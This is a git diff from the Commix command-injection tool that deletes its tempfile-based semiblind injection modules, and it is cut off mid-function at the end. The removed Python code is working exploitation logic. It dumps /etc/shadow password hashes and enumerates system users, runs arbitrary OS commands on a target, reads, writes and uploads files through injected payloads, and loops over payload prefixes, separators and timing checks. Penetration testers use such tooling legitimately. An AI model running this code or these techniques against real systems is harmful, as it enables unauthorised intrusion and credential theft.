" - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - #print(settings.SINGLE_WHITESPACE) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if sys_passes == "": - sys_passes = " " - if sys_passes : - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.users: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.ENUMERATION_DONE == True: - print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True - -# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py deleted file mode 100755 index f26d9a86e1..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ /dev/null @@ -1,246 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" - The "tempfile-based" injection technique on Semiblind OS Command Injection. - __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - new_line = "\n" - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = True - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - # Execute command - if settings.TARGET_OS == "win": - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname - else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 03541a844c..0f013843d9 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,651 +3,47 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import string -import random -import base64 -from src.utils import menu -from src.utils import logs from src.utils import settings -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads -from src.core.injections.semiblind.techniques.tempfile_based import tfb_enumeration -from src.core.injections.semiblind.techniques.tempfile_based import tfb_file_access +from src.core.injections.controller import handler """ The "tempfile-based" injection technique on semiblind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results. """ -""" -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - settings.WEB_ROOT = "" - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - """ The "tempfile-based" injection technique handler """ -def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - injection_type = "semi-blind command injection" - technique = "tempfile-based injection technique" - - if settings.TIME_RELATIVE_ATTACK == False: - warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - settings.TIME_RELATIVE_ATTACK = None - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - maxlen = settings.MAXLEN - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - err_msg = "The '--url-reload' option is not available in " + technique + "!" - print(settings.print_critical_msg(err_msg)) - - if not settings.LOAD_SESSION: - # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - - if settings.VERBOSITY_LEVEL != 0: - info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - print(settings.print_info_msg(info_msg)) - - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION: - try: - settings.TEMPFILE_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" - alter_shell = menu.options.alter_shell - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - # Tempfile-based decision payload (check if host is vulnerable). - if alter_shell : - payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - false_positive_fixation = False - raise - elif proceed_option.lower() == "c": - timesec = timesec + 1 - false_positive_fixation = True - break - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == "win": - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" - else: - cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) - - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - #break - else: - break - # False positive - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, 